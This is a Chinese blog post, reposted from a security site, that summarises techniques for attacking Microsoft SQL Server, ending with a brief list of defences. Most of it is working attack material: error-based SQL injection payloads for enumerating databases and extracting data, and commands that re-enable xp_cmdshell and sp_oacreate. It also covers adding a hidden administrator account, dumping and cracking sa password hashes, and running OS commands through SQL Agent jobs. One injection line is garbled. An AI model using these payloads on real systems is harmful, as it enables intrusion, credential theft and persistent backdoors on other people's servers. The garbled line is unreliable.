Patrilic's blog

sqlserver

Word count: 2,159 / Reading time: 9 min
2018/08/22 Share

本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/156911
安全客 - 有思想的安全新媒体

SQLServer攻击姿势与防护总结

[TOC]

0x01

之前也算是负责一个渗透项目,基本上都是MSSQL的服务器,这里写一下当时的渗透过程中用到的一些技巧之类的吧,各路大佬轻喷。

0x02

2.1 简介

从上次的项目里遇到的基本上都是ASP.NET + SQL Server 架构的服务器,因为MSSQL 只能运行在 Windows 平台上,如果攻击者获取了sa账号,就能够较为方便的获得高权限用户。

MSSQL权限分类 (2008)

Dbcreator:这个服务器角色的成员可以创建、更改、删除和还原任何数据库。
Diskadmin:这个服务器角色用于管理磁盘文件,比如镜像数据库和添加备份设备。Processadmin:SQL Server 2008能够多任务化,也就是说可以通过执行多个进程做多个事件。
Securityadmin:这个服务器角色的成员将管理登录名及其属性。他们可以授权、拒绝和撤销服务器级权限。也可以授权、拒绝和撤销数据库级权限。另外,它们可以重置SQL Server 2008登录名的密码。
Serveradmin:这个服务器角色的成员可以更改服务器范围的配置选项和关闭服务器。Setupadmin:为需要管理链接服务器和控制启动的存储过程的用户而设计。这个角色的成员能添加到setupadmin,能增加、删除和配置链接服务器,并能控制启动过程。
Sysadmin:这个服务器角色的成员有权在SQL Server 2008中执行任何任务。
Public: 有两大特点,第一,初始状态时没有权限;第二,所有的数据库用户都是它的成员。
固定数据库角色:
(数据库用户权限)
微软提供了9个内置的角色,以便于在数据库级别授予用户特殊的权限集合。
db_owner: 该角色的用户可以在数据库中执行任何操作。
db_accessadmin: 该角色的成员可以从数据库中增加或者删除用户。
db_backupopperator: 该角色的成员允许备份数据库。
db_datareader: 该角色的成员允许从任何表读取任何数据。
db_datawriter: 该角色的成员允许往任何表写入数据。
db_ddladmin:该角色的成员允许在数据库中增加、修改或者删除任何对象(即可以执行任何DDL语句)。
db_denydatareader: 该角色的成员被拒绝查看数据库中的任何数据,但是他们仍然可以通过存储过程来查看。
db_denydatawriter: 像db_denydatareader角色,该角色的成员被拒绝修改数据库中的任何数据,但是他们仍然可以通过存储过程来修改。
db_securityadmin: 该角色的成员可以更改数据库中的权限和角色。
public:在SQL Server 2008中每个数据库用户都属于public数据库角色。当尚未对某个用户授予或者拒绝对安全对象的特定权限时,这该用户将据称授予该安全对象的public角色的权限,这个数据库角色不能被删除。

2.2 sa口令获取

2.2.1 源码泄露

比如我之前遇到过的页面配置文件泄露,暴露了SQL Server服务器地址
Alt text

git文件泄露,www.zip等等

2.2.2 端口嗅探

使用Cain 等工具进行1433端口嗅探,可能能够获取密码

2.2.3 暴力破解

使用Hydra等工具直接对sa账户的密码进行爆破,所以说弱口令真的是很伤啊……

2.2.4 注入

判断是否是MSSQL
  1. 报错

    asp?id=49 and user>0

产生报错信息,还能拿到数据库的用户名,岂不美哉

  1. 系统表回显(IIS 报错关闭的情况)

    asp?id=49 and (select count() from sysobjects)>0
    asp?id=49 and (select count(
    ) from msysobjects)>0

如果第一条返回页面与原页面相同,第二条与原页面不同,几乎可以确定是MSSQL,否则便是Access

常用语句

权限判断
and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员
and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限
and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限


;declare @d int //判断MsSQL支持多行语句查询

and user>0 //获取当前数据库用户名

and db_name()>0 //获取当前数据库名称

and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名

and 1=(select @@servername) //本地服务名

and 1=(select HAS_DBACCESS(‘master’)) //判断是否有库读取权限

注入过程
  • 查库

    and 1=(select top 1 name from master..sysdatabases where dbid>4) //(>4 获取系统库 <4 1="(select" 获取用户库)="" and="" top="" name="" from="" master..sysdatabases="" where="" dbid="">4 and name<> ‘1’) //查询下一个数据库

  • 查表

    ?id=1 and 1=(select top 1 name from sysobjects where xtype=’U’ and name <> ‘threads’ and name <> ‘users’ )

  • 列名

    ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = ‘users’) and name <> ‘uname’ )

  • 拿数据

    ?id=1 and 1=(select top 1 uname from users)

2.3 xp_cmdshell

2.3.1 关于

xp_cmdshell: 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。因为存在安全隐患,在SQLServer 2005后默认设置为关闭。

exec xp_cmdshell ‘whoami’

存储过程:存储过程(Stored Procedure),是一组为了完成特定功能的SQL 语句

可见详解

消息 15281,级别 16,状态 1,过程 xp_cmdshell,第 1 行
SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。

产生错误信息,但是如果我们拥有sa账户,或者存在sa权限用户的注入点,就能够直接开启组件

2.3.2 恢复存储过程

从SQL Server 2008开始,xp_cmdshell就是默认关闭状态,不过对于SA权限的用户来说,这些都是可恢复的。

  • 删除或恢复 sp_addextendedproc

    / 删除 /
    drop procedure sp_addextendproc
    drop procedure sp_oacreate
    exec sp_addextendedproc
    / 恢复 /
    dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)
    dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)

  • 恢复 sp_oacreate 和 xp_cmdshell

    exec sp_addextendedproc xp_cmdshell , @dllname = ‘xplog70.dll’

之后就是命令执行提权了

1
2
3
4
5
6
/* 没有任何安全措施的情况下 */

net user siweb$ siweb /add
net localgroup administrators siweb$ /add

直接就能连入3389了,再用mimikatz跑一下原管理员账号密码,成功拿下一台服务器

2.4 提权

事实上,我自己感觉从08server开始,提权才是最麻烦的事情

2.4.1 普通账户

从sql注入到网站中,如果只是普通账户(Public权限),当然数据是可以拿到,但是不能执行系统命令,可以通过备份数据库的方式进行写入webshell,再根据
服务器中的其他东西,去试着提权。

还有一种方式,拿到加密后的SQL Server sa账户密码,使用johnny爆破

select name,master.sys.fn_sqlvarbasetostr(password_hash) from master.sys.sql_logins

http://www.openwall.com/john/j/john180j1w.zip
http://openwall.info/wiki/_media/john/johnny/johnny_2.2_win.zip
成功后可以使用sa权限登入账户

2.4.2 Sa

sa账户提权,基本上是走系统命令执行的路子,开启存储过程,执行命令,建议使用 SQLTOOLS

不使用xp_cmdshell 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
use msdb;
exec sp_delete_job @job_name='abc82'
exec sp_add_job @job_name='abc82'
exec sp_add_jobstep @job_name='abc82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='cmd.exe /c whoami>c:\T3tmp.log'
exec sp_add_jobserver @job_name = 'abc82',@server_name = N'(local)'
exec sp_start_job @job_name='abc82'

if object_id('siweb3file') is not null drop table siweb3file
create table siweb3file (filev nvarchar(4000) null)
BULK INSERT siweb3file FROM 'c:\T3tmp.log'

SET NO_BROWSETABLE ON

select * from siweb3file

SET NO_BROWSETABLE OFF

select * from siweb3file
if object_id('siweb3file') is not null drop table siweb3file

2.5 防护

  1. 防火墙限制ip访问
  2. 修改mssql端口
  3. 单独数据库单独用户(PUBLIC角色),给dbo权限
  4. 禁用掉一些危险的存储过程
  5. SA账户禁用或设置强密码
  6. mssql使用NETWORK SERVICE账号
  7. 配置数据库磁盘权限,数据库和网站目录外设定SA账户都不能写入文件

0x03

不安全的TDS协议配置:一种高级的SQL Server中间人攻击方式

【译】攻击SQL Server的CLR库

PowerUpSQL - 攻击 SQL Server 的 PowerShell 工具包

通过SQL Server与PowerUpSQL获取Windows自动登录密码

Hacking SQL Server Database Links: Lab Setup and Attack Guide

SQL Server Local Authorization Bypass

CATALOG
  1. 1. SQLServer攻击姿势与防护总结
    1. 1.1. 0x01
    2. 1.2. 0x02
      1. 1.2.1. 2.1 简介
      2. 1.2.2. 2.2 sa口令获取
        1. 1.2.2.1. 2.2.1 源码泄露
        2. 1.2.2.2. 2.2.2 端口嗅探
        3. 1.2.2.3. 2.2.3 暴力破解
        4. 1.2.2.4. 2.2.4 注入
          1. 1.2.2.4.1. 判断是否是MSSQL
          2. 1.2.2.4.2. 常用语句
          3. 1.2.2.4.3. 注入过程
      3. 1.2.3. 2.3 xp_cmdshell
        1. 1.2.3.1. 2.3.1 关于
        2. 1.2.3.2. 2.3.2 恢复存储过程
      4. 1.2.4. 2.4 提权
        1. 1.2.4.1. 2.4.1 普通账户
        2. 1.2.4.2. 2.4.2 Sa
      5. 1.2.5. 2.5 防护
      6. 1.2.6. 0x03